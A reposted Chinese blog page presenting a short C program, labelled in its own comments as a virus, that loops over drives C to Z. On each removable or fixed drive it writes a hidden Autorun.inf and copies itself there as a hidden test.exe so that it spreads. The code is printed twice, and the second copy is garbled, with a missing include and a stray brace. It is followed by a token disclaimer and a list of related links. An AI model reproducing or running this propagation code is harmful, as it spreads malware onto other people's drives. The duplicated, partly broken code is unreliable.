生成autorun.inf,复制传播,简单例子
来源:互联网 发布:淘宝直通车可以退款吗 编辑:程序博客网 时间:2024/05/17 03:42
#include <stdio.h>
#include <windows.h>
#include <string.h>
void main()
{
FILE *fp; //文件指针
UINT disk_type;//用于获取磁盘类型
char autoRunFileName[255];//存放Autorun.inf文件路径
char vFileName[255];//存放复制病毒文件路径
char szFileName[255];//存放原病毒文件路径
char driveName[4];//驱动器路径
strcpy(driveName,"C:\0");//初始化驱动器路径,从C盘开始
for(driveName[0] = 'c'; driveName[0] <= 'z'; driveName[0]++)//遍历从C到Z所有驱动器
{
disk_type = GetDriveType(driveName);//获取驱动器类型
if((disk_type == DRIVE_REMOVABLE) || (disk_type == DRIVE_FIXED))//驱动器类型为可移动或固定分区时有效
{
sprintf(autoRunFileName,"%c:\\Autorun.inf",driveName[0]);//生成Autorun.inf文件路径
fp = fopen(autoRunFileName,"w+");//生成Autorun.inf文件
//写autorun.inf文件
fprintf(fp,"aaa");
fclose(fp);
SetFileAttributes(autoRunFileName,FILE_ATTRIBUTE_HIDDEN);//设置Autorun.inf文件隐藏
sprintf(vFileName,"%c:\\test.exe",driveName[0]);//生成复制病毒文件路径
GetModuleFileName(NULL, szFileName, 255);//取得当前病毒文件路径,为复制病毒做准备
CopyFile(szFileName,vFileName,TRUE);//复制病毒文件
SetFileAttributes(vFileName,FILE_ATTRIBUTE_HIDDEN);//设置病毒文件隐藏
}
}
#include <windows.h>
#include <string.h>
void main()
{
FILE *fp; //文件指针
UINT disk_type;//用于获取磁盘类型
char autoRunFileName[255];//存放Autorun.inf文件路径
char vFileName[255];//存放复制病毒文件路径
char szFileName[255];//存放原病毒文件路径
char driveName[4];//驱动器路径
strcpy(driveName,"C:\0");//初始化驱动器路径,从C盘开始
for(driveName[0] = 'c'; driveName[0] <= 'z'; driveName[0]++)//遍历从C到Z所有驱动器
{
disk_type = GetDriveType(driveName);//获取驱动器类型
if((disk_type == DRIVE_REMOVABLE) || (disk_type == DRIVE_FIXED))//驱动器类型为可移动或固定分区时有效
{
sprintf(autoRunFileName,"%c:\\Autorun.inf",driveName[0]);//生成Autorun.inf文件路径
fp = fopen(autoRunFileName,"w+");//生成Autorun.inf文件
//写autorun.inf文件
fprintf(fp,"aaa");
fclose(fp);
SetFileAttributes(autoRunFileName,FILE_ATTRIBUTE_HIDDEN);//设置Autorun.inf文件隐藏
sprintf(vFileName,"%c:\\test.exe",driveName[0]);//生成复制病毒文件路径
GetModuleFileName(NULL, szFileName, 255);//取得当前病毒文件路径,为复制病毒做准备
CopyFile(szFileName,vFileName,TRUE);//复制病毒文件
SetFileAttributes(vFileName,FILE_ATTRIBUTE_HIDDEN);//设置病毒文件隐藏
}
}
}
勿用于破坏,本人不负责
- 生成autorun.inf,复制传播,简单例子
- Autorun.inf 简单实例应用
- 简单剖析U盘autorun.inf
- Autorun.inf
- autorun.inf
- AutoRun.inf
- Autorun.inf
- Autorun.inf
- autorun.inf
- autorun.inf
- Autorun.inf
- 解读Autorun.inf病毒和autorun.inf
- 删除autorun.inf病毒的批处理 简单三招预防
- 最简单的模拟U盘病毒(Autorun.inf)
- AutoRun.inf文件
- Autorun.inf 杀毒脚本
- 清除Autorun.inf病毒
- AutoRun.inf基础
- 详细解析Java中抽象类和接口的区别
- 利用ddmlib 实现 PC端与android手机端adb forword socket通信
- Ajax与servlet交互的实例
- am335x nand启动 Ubuntu相关命令
- 3.4.4 YourPets1
- 生成autorun.inf,复制传播,简单例子
- Spring MVC 教程,快速入门,深入分析
- iOS面试题收集
- hadoop 常用环境变量及使用
- 深入理解l内核v4l2框架之video for linux 2(一)
- JavaBean 在Jsp中的引用
- Hibernate插入记录到Mysql
- Java中的Enum用法介绍
- iOS 使用ZipArchive压缩文件